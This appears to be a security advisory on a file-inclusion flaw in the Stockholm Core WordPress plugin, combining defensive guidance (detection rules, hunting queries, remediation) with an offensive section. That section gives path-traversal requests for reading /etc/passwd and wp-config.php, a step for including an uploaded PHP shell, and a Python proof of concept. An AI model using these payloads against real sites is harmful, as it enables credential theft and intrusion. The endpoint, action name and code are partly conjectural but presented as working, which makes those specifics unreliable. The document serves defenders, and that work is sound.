CVE-2025-68067

Executive Summary

CVE-2025-68067 is a PHP Local File Inclusion (LFI) vulnerability in the Stockholm Core WordPress plugin (by Select-Themes), affecting versions up to and including 2.4.6. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), and under certain configurations, may be chained with file upload to achieve Remote Code Execution (RCE). The CVSS score is 7.5 (High), with a network attack vector and no authentication required. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and theme marketplaces. Users who have installed the Stockholm Core plugin as part of the Stockholm theme are at risk. The supply chain risk is elevated because the plugin is a commercial product with limited public disclosure, and the patch status is unknown. Organizations should audit their WordPress installations for this plugin and apply strict file inclusion controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no user action needed.
• Scope: Unchanged (S:U) – vulnerability does not affect other components.
• Confidentiality Impact: High (C:H) – full file read possible.
• Integrity Impact: None (I:N) – no file modification.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can expose critical configuration files, database credentials, and source code.

Deep Dive & Mechanics

The vulnerability exists in the stockholm-core plugin, likely in a PHP function that processes user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST) to construct a file path for inclusion. The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory.

Root Cause: The plugin fails to sanitize or validate the filename parameter before passing it to a PHP include() or require() statement. This allows an attacker to specify arbitrary file paths.

Example vulnerable code pattern:

$file = $_GET['file'];
include( $file . '.php' );

An attacker can supply ../../../etc/passwd%00 to null-terminate the string and bypass the .php extension, or use path traversal to read arbitrary files.

Attack Flow:

1. Attacker identifies a vulnerable endpoint (e.g., /wp-content/plugins/stockholm-core/ajax.php?file=...).
2. Attacker sends a crafted request with path traversal sequences.
3. The server includes the specified file, outputting its contents in the response.
4. Attacker reads sensitive files like wp-config.php to obtain database credentials.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be in the plugin's core logic. A patched version would implement strict input validation and whitelisting.

Vulnerable Code (Conceptual):

// stockholm-core/includes/functions.php
function load_template_part($template_name) {
    $template_path = get_template_directory() . '/partials/' . $template_name . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}
// Called with user input: load_template_part($_GET['template']);

Patched Code (Conceptual):

function load_template_part($template_name) {
    // Whitelist allowed templates
    $allowed_templates = ['header', 'footer', 'sidebar'];
    if (!in_array($template_name, $allowed_templates)) {
        return;
    }
    $template_path = get_template_directory() . '/partials/' . basename($template_name) . '.php';
    if (file_exists($template_path)) {
        include($template_path);
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target WordPress site with Stockholm Core plugin <= 2.4.6.
• Knowledge of a vulnerable endpoint (e.g., /wp-admin/admin-ajax.php?action=stockholm_core_load_template&template=...).

Exploitation Steps:

1. Reconnaissance: Identify the plugin version via /wp-content/plugins/stockholm-core/readme.txt.
2. Craft Payload: Use path traversal to read /etc/passwd:

   GET /wp-admin/admin-ajax.php?action=stockholm_core_load_template&template=../../../../../../etc/passwd%00
   

3. Read wp-config.php:

   GET /wp-admin/admin-ajax.php?action=stockholm_core_load_template&template=../../../../../../wp-config
   

4. Chain with File Upload (if applicable): If the site allows file uploads (e.g., via media library), upload a PHP shell and include it:

   GET /wp-admin/admin-ajax.php?action=stockholm_core_load_template&template=../../../../wp-content/uploads/2025/01/shell
   

Proof-of-Concept (Python):

import requests

target = "http://target-site.com/wp-admin/admin-ajax.php"
params = {
    "action": "stockholm_core_load_template",
    "template": "../../../../../../etc/passwd%00"
}
response = requests.get(target, params=params)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %00, ..\\).
• Look for requests to admin-ajax.php with suspicious template parameters.
• Use WAF rules to block path traversal sequences.

Hunting Queries:

• Splunk: index=web sourcetype=access_combined uri_path="/wp-admin/admin-ajax.php" uri_query=*template*
• ELK: http.request.uri: "/wp-admin/admin-ajax.php" AND http.request.body: "template=.."

Containment:

1. Disable the plugin immediately if no patch is available.
2. Implement a virtual patch via WAF to block template parameter containing ../.
3. Restrict file inclusion to a whitelist of allowed templates.

Indicators of Compromise (IOCs)

• File Paths: /etc/passwd, /wp-config.php, /proc/self/environ
• URL Patterns: admin-ajax.php?action=stockholm_core_load_template&template=
• Log Entries: Requests containing %00, ../, or ..\\ in the template parameter.
• Plugin Version: stockholm-core version <= 2.4.6.

Detection Engineering

YARA Rule

rule CVE_2025_68067_LFI_Stockholm_Core {
    meta:
        description = "Detects LFI attempts against Stockholm Core plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-68067"
    strings:
        $path_traversal = /template=[^&]*\.\.\//
        $null_byte = /template=[^&]*%00/
        $wp_config = /template=[^&]*wp-config/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-68067 LFI Attempt Against Stockholm Core
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal in template parameter for Stockholm Core plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - 'template=..'
            - 'template=%00'
            - 'template=../../'
    condition: selection
falsepositives:
    - Legitimate use of template names with dots (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-68067 LFI Attempt Against Stockholm Core";
    flow:to_server,established;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"template=";
    http_uri;
    pcre:"/template=[^&]*\.\.\//i";
    sid:10000001;
    rev:1;
    reference:cve,2025-68067;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Apply virtual patching via WAF to block path traversal in the template parameter.
3. Audit file permissions to ensure sensitive files are not readable by the web server user.

Long-term Fix:

• Monitor the vendor's website for an official patch.
• Replace the plugin with an alternative if no patch is forthcoming.
• Implement input validation and whitelisting for all file inclusion operations.

Workaround:

• Edit the plugin code to add basename() and whitelist checks (see patched code example above).

Valters IT